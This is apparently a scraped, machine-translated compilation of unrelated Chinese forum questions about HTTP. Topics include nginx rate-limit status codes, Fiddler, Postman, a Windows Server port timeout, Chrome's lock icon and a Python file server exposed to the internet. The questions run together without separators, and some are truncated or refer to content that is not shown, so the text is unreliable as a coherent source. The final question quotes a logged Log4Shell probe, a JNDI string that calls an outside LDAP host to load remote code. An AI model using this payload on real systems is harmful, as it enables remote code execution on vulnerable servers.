我正在研究 Mozilla 的HTTP 协议参考，但我不明白以下部分的含义：
连接由传输层控制，因此从根本上来说超出了 HTTP 的范围。HTTP 不要求底层传输协议基于连接；它只要求它可靠，或者不丢失消息（至少在这种情况下会出现错误）。在互联网上最常见的两种传输协议中，TCP 是可靠的，而 UDP 则不可靠。因此，HTTP 依赖于基于连接的 TCP 标准。
有一些说法看上去是矛盾的：
我的问题：
是否存在这样的情况，在发送 HTTP（或任何应用程序级别）请求之前，我们不需要通过传输协议与服务器建立连接，这就是基于连接的意思吗？
文档说：
nginx.ingress.kubernetes.io/limit-connections：单个 IP 地址允许的并发连接数。超过此限制会返回 503 错误。nginx.ingress.kubernetes.io/limit-rps：每秒从给定 IP 接受的请求数。突发限制设置为此限制乘以突发乘数，默认乘数为 5。当客户端超过此限制时，limit-req-status-code默认返回：503。不过，如果出现请求限制，HTTP 错误代码可能会被覆盖。
HTTP规范说：
响应
HTTP 429 Too Many Requests状态代码指示用户在给定时间内发送了太多请求（“速率限制”）。
问题：为什么 nginx 首先决定使用 HTTP 503？看起来 HTTP 429 是最能描述问题的响应代码。
我想在我的 Windows 服务器上托管一个 http/https 代理服务器。我想从另一台计算机连接到该代理服务器（通过授权），因此我的应用程序使用此 Windows 服务器的 IP 地址。
那里有成千上万的指南，如何连接到代理服务器，但我还没有找到一个，如何实际托管一个。我读到了一些你在 linux 上的选项，但是我有一个 windows 服务器操作系统。我感谢每一个帮助我的答案。我需要特殊的软件来托管吗？如果是，是哪一个？
假设我为 URL 发送了一个 GET 请求：https ://www.example.com/ 是否有可能欺骗我的网络认为它收到了来自所述 URL 的回复，而它实际上来自 localhost？如果是，如何？我只看到一个名为“Fiddler2”的工具能够通过“AutoResponder”功能做到这一点。但是，由于我使用 Linux（特别是 Kubuntu）并且 FiddlerEverywhere 需要花钱，所以我正在寻找可以自己设置的免费替代方案。如果有人知道如何做到这一点，任何帮助将不胜感激。
当我使用 Fiddler 捕获 HTTPS 请求时，
您看到统计选项卡，我有一个问题：Fiddler 如何知道服务器何时收到 Fiddler 请求？以及它如何知道服务器何时开始响应。
关于可以在 HTTP“连接”标头中作为连接令牌发送的内容是否有任何规则？例如，非字母数字字符（除了-）是否喜欢{或/允许？
此外，标头中是否有有效连接令牌列表，还是开放式的？例如，是否Keep-Alive, Keep-alive, keep-alive, keepalive, 甚至keel-alive被认为是有效的——从某种意义上说，只要接收端知道如何处理它们，它就被允许？还是所有接收端都只允许Keep-Alive和丢弃/忽略其余部分？
我在 Microsoft Windows 10 上使用 Postman 来测试一些 API。默认情况下，它在查询 API 时使用 HTTPS。如何配置 Postman 以便在查询 API 时使用 HTTP 而不是 HTTPS？
我们已经（在 Go 和 Delphi 中）编写了几个 Windows 微服务，它们响应 11000-12000 范围内特定端口上的 HTTP 请求。这些设计为在客户端的域或专用网络内部运行（即不在互联网上）。
它们可以在我们 50 多个客户端系统中的一个以外的所有客户端系统上完美运行，操作系统范围从 Windows 7/10/11 到 Windows Server 2008R2/2012/2016/2019。这些服务中的每一个的安装过程都会在 Windows 防火墙中设置规则以接受对每个服务 exe 的请求。
他们不使用的一个客户端系统正在运行 Windows Server 2016 Essentials。这是运行该特定操作系统的唯一客户端系统，因此这可能是问题的一个因素。
甚至在本地使用该系统上的 Web 浏览器来查询他们不工作的服务。请求只是等待一段时间然后超时：ERR_CONNECTION_TIMED_OUT。然而，对地址 127.0.0.1 (localhost) 的相同端口的相同请求会立即工作 - 证明服务实际上正在运行。目标服务未运行或我们寻址错误端口时的故障模式是不同的。在这种情况下，我们会得到一个快速的“拒绝连接”失败：ERR_CONNECTION_REFUSED
系统上没有安装第三方防病毒或防火墙产品，仅使用带有普通 Windows 防火墙的 Windows Defender。我们已经尝试了所有我们能想到的 Windows 防火墙，包括完全关闭它。我们尝试过的没有任何改变。
我们已经尝试使用许多替代端口号，但直到达到 49000 及以上范围之前我们都没有取得任何成功，但我们真的宁愿不必更改我们的正常端口号范围，除非它完全不可避免。
我们花了很多时间试图找到任何解决方案，但没有任何运气。我们真的希望那里有一些聪明的人有一些想法，可以找到问题的原因。
当我启动我的浏览器（例如 Chrome）并在地址栏中输入一些内容（不是 URL，例如一个单词）时，它会将我重定向到 Google 搜索这个单词。在这些情况下，通常的锁不会说连接是安全的，而是说连接不安全。如果我重新加载页面，锁就在那里，页面显示为安全。这并不总是在我启动浏览器时发生，但在大多数情况下。
这种行为的原因是什么？
我使用 Windows 10 版本 21H1 和 Google Chrome 浏览器。此外，每当系统要求我这样做时，我都会更新我的系统。
我刚刚安装了 Windows 10 Version 21H2 的更新，从那以后就没有出现该行为，但由于该行为并不总是发生，我不知道它是否与此更新有关。
出于某种原因，我无法在此处迁移问题后对其发表评论，因此我编辑了问题：@LPChip 感谢您的建议，虽然自 Windows 更新以来我无法重现该错误，但我检查了默认搜索引擎的 URL Chrome 浏览器，但是对于 Google 站点，没有正常的 URL，而是像 {Google:baseURL}search?q=... 和“google.com”作为缩写名称。我怎样才能知道这是指 http 还是 https？为什么默认是http？我没有更改此设置，我认为 Chrome 默认应该是 https？
更新：我可以再次重现该问题。该 URL 是一个 https 地址 ("https://www.google.com/search?q="...)，所以这似乎不是问题。
更新2：感谢评论中的建议！我卸载了 Chrome，删除了 Appdata/Local/Google 目录中的 Chrome 目录，重新启动 PC 并再次安装了 Chrome。这并没有解决问题。接下来我将默认搜索 URL 设置为“https://www.google.com/search?q=%s”，这解决了问题。虽然该行为不再发生，但我想知道：我现在还好吗，或者这只是我的 PC 上存在恶意软件的症状，我必须小心处理？我的防病毒软件没有检测到任何可疑的东西。我还发现有趣的是：该行为取决于搜索词，例如，如果我搜索“yahoo”，则会发生该行为，但如果我搜索“test”，则不会发生。这是否支持它是混合内容警告的假设？
我正在 python3 -m http.server 8080与端口转发一起运行，以便从任何地方访问我的笔记本电脑中的文件。
但是出现了随机连接和一条特别奇怪的线：
GET /${jndi:ldap://185.246.87.50:1389/Exploit}
你可以在这看到更多：
我在做什么安全吗？如果没有，那么有什么方法可以让它安全吗？也许像登录密码之类的东西？